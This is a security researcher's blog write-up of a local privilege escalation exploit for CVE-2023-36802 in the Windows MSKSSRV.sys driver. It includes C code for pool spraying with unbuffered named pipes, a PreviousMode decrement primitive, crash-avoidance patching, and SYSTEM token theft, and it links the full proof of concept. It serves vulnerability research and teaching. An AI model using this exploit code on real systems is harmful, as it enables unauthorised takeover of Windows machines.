CVE-2023–36802 MSSKSRV.sys Local Privilege Escalation

Robel Campbell
Reverence Cyber
Published in
6 min readOct 24, 2023

Introduction

In this blog post, I’m going to show you how I used the CVE-2023–36802 vulnerability in MSSKSRV.sys to elevate privileges on a Windows 11 system. I wrote my own proof-of-concept, taking inspiration from @benoitsevens of Google Project Zero, but making some changes from the original exploit by @chompie1337.

This method includes filling the non-paged pool with unbuffered named pipe entries, using a primitive in a call to ObfDereferenceObject to decrement PreviousMode, creating a separate thread for the decrement to avoid a blue screen of death, and fixing the reference count of the stolen SYSTEM token. I tested this on Windows 10 21H2 and Windows 11 22H2, but keep in mind that PreviousMode attacks might not work on future/insider builds.

Spraying the Pool with Unbuffered Named Pipes

Rather than focusing on the root cause of the vulnerability, I will focus only on the necessary information needed to understand the method used for the exploit. You can refer to the original work listed above.

Context registration objects are only 0x78 bytes in size, but the stream registration object is 0x1d8 in size. The vulnerable driver suffers from a type confusion vulnerability when allocating a context registration object and then accessing the object as a stream registration object.

Context objects are tagged as Creg in the non-paged kernel pool when allocated and have a total size of 0x90 including the pool header.

Since stream registration objects are larger than context registration objects, the goal is to control the adjacent memory after the Creg object when FSStreamReg::PublishRx is called. The function will expect a stream object and manipulate its members as if it is indeed a stream object.

Armed with this knowledge, we can spray the heap with named piped entries of a similar size to the context registration. This will allow us to control the data that comes after the context registration object. Instead of spraying with regular named pipes, I use a slightly different variation of a named pipe that uses unbuffered entries.

Unbuffered entries remove the 0x30 sized DATA_QUEUE_ENTRY header of a standard named pipe allocation and only has a 0x10 sized pool header. We can create named pipes with unbuffered entries by calling NtFsControlFile on the pipes and passing 0x119ff8 as the FSCTL_CODE:

#define FSCTL_CODE 0x119ff8
#define SPRAY_SIZE 0x10000
#define PIPESPRAY_SIZE 0x80
#define PAYLOAD_SIZE 0x80
...
void PipeSpray(void* payload, int size) {

IO_STATUS_BLOCK isb;
OVERLAPPED ol;

for (int i = 0; i < SPRAY_SIZE; i++) {
phPipeHandleArray[i] = CreateNamedPipe(L"\\\\.\\pipe\\testpipe", PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, size, size, 0, 0);

if (phPipeHandleArray[i] == INVALID_HANDLE_VALUE) {
printf("[!] Error while creating the named pipe: %d\n", GetLastError());
exit(1);
}

memset(&ol, 0, sizeof(ol));
ol.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (!ol.hEvent) {
printf("[!] Error creating event: %d\n", GetLastError());
exit(1);
}

phFileArray[i] = CreateFile(L"\\\\.\\pipe\\testpipe", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

if (phFileArray[i] == INVALID_HANDLE_VALUE) {
printf("[!] Error while opening the named pipe: %d\n", GetLastError());
exit(1);
}

NTSTATUS ret = pNtFsControlFile(phPipeHandleArray[i], 0, 0, 0, &isb, FSCTL_CODE, payload, size, NULL, 0);

if (ret == STATUS_PENDING) {
DWORD bytesTransferred;
if (!GetOverlappedResult(phFileArray[i], &ol, &bytesTransferred, TRUE)) {
printf("[!] Overlapped operation failed: %d\n", GetLastError());
exit(1);
}
}
else if (ret != 0) {
printf("[!] Error while calling NtFsControlFile: %p\n", ret);
exit(1);
}

CloseHandle(ol.hEvent);
}

}
...
void *spray_payload = malloc(PAYLOAD_SIZE);

// Spray the pool with named pipes
printf("[+] Spraying the pool with pipes...\n");

memset(spray_payload, 0x41, PAYLOAD_SIZE);
PipeSpray(spray_payload, PIPESPRAY_SIZE);

// Create holes in the pool
printf("[+] Creating holes in the pool...\n");
CreateHoles();

// Allocate context registration
printf("[+] Allocating context registration...\n");
AllocateContext();

// Fill holes with our payload
printf("[+] Re-filling holes...\n");
FillHoles(spray_payload, PIPESPRAY_SIZE);

We spray with a pipe size of 0x80 which will be a pool size of 0x90 when the pool header is added, make some "holes" in the allocations by freeing every fourth pipe allocation, allocate the registration context which should be allocated in the same pool page as our pipe allocations and then re-spray the pool with more pipes to fill any remaining holes. The pool should resemble the following if successful:

We now control the data following the context registration object, with the exception of the pool headers.

Decrement Primitive

Within the FSStreamReg::PublishRx function, there are two calls to ObfDereferenceObject. The first call passes the address at offset 0x38 of the vulnerable context register object which we do not control and the second call passes the address at offset 0x1c8 which we do control.

The ObfDereferenceObject function which is implemented in ntoskrnl.exe takes an address as an argument and decrements the value stored at the address minus 0x30:

Using this primitive we can place the address of the main threads PreviousMode pointer in the controlled address argument plus 0x30 and the call to ObfDereferenceObject will decrement the value from '1' to '0', thus giving us the ability to read and write in kernel space and overwrite our token with the SYSTEM token.

This all must be done in a separate thread and placed in a loop to avoid causing a blue screen of death due to a call to KeSetEvent at the end of FSStreamReg::PublishRx.

Avoiding the crash

In order to avoid crashing the system, we place the decrementing thread in a loop by ensuring the call to FSFrameMdlList::MoveNext points to a self referencing user controlled buffer.

Once the PreviousMode bit has been flipped we can proceed to ensure that KeSetEvent is not reached by patching the ProcessBilled pool header entry to NULL which is at offset 0x1a8 of the context object. We must save the original value and replace it once the exploit has finished.

From here we can break out of the loop by editing the user mode buffer of the self-referencing object and setting it to NULL. The thread will now safely exit.

...
PLONGLONG pProcessBilled = pCreg + 0x1a8;

// Read process billed value
memset(read_qword, 0x00, sizeof(ULONGLONG));
if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), read_qword, sizeof(ULONGLONG), &read_bytes))
{
printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError());
}

PULONGLONG pProcessBilledValue = (PULONGLONG)((ULONG_PTR*)read_qword);
ULONGLONG ProcessBilledValue = (ULONGLONG)*pProcessBilledValue;

// Overwrite process billed value with NULL
printf("[+] Overwritting process billed value...\n");
ULONGLONG nullQWORD = (ULONGLONG)0x0000000000000000;
pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)pProcessBilled), &nullQWORD, sizeof(ULONGLONG), NULL);

Sleep(1000);

// Break out of the trigger thread
buf[0] = 0x0000000000000000;
...

Incrementing the Token Reference Count

The last step of this exploit is to increment the reference count of the SYSTEM token to a very large number which will avoid a crash when the program exits and to restore PreviousMode.

// Increment Ref count of SYSTEM EPROCESS token printf("[+] Incrementing ref count of EPROCESS token...\n"); ULONGLONG refCount = ourEprocess-0x30; ULONGLONG refCountValue = (ULONGLONG)0x4141414141414141; pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)refCount), &refCountValue, sizeof(ULONGLONG), NULL); Sleep(2000); // Restore PreviousMode printf("[+] Restoring PreviousMode...\n"); memset(read_qword, 0x00, sizeof(ULONGLONG)); if (!ReadProcessMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)PreviousMode), read_qword, sizeof(ULONGLONG), &read_bytes)) { printf("[!] Error while calling ReadProcessMemory(): %d\n", GetLastError()); } PULONGLONG kThreadPM = (PULONGLONG)((ULONG_PTR*)read_qword); ULONGLONG write_what = (ULONGLONG)*kThreadPM ^ 1 << 0; pNtWriteVirtualMemory(GetCurrentProcess(), (LPVOID)((ULONGLONG)PreviousMode), &write_what, sizeof(ULONGLONG), NULL);

Conclusion

In conclusion, recreating this method of exploitation was a great refresher on Windows kernel exploitation. The process of spraying the non-paged pool with unbuffered named pipe entries, using a primitive in a call to ObfDereferenceObject to decrement PreviousMode, and creating a separate thread for the decrement to avoid a BSOD was fascinating. Additionally, fixing the reference count of the stolen SYSTEM token was a crucial step to avoid crashes. I hope this write-up was helpful for others in understanding a variation of exploiting a modern Windows kernel driver.

Exploit code: x0rb3l/CVE-2023–36802-MSKSSRV-LPE: PoC for CVE-2023–36802 Microsoft Kernel Streaming Service Proxy (github.com)

Originally published at https://reverencecyber.com on October 24, 2023.

--

--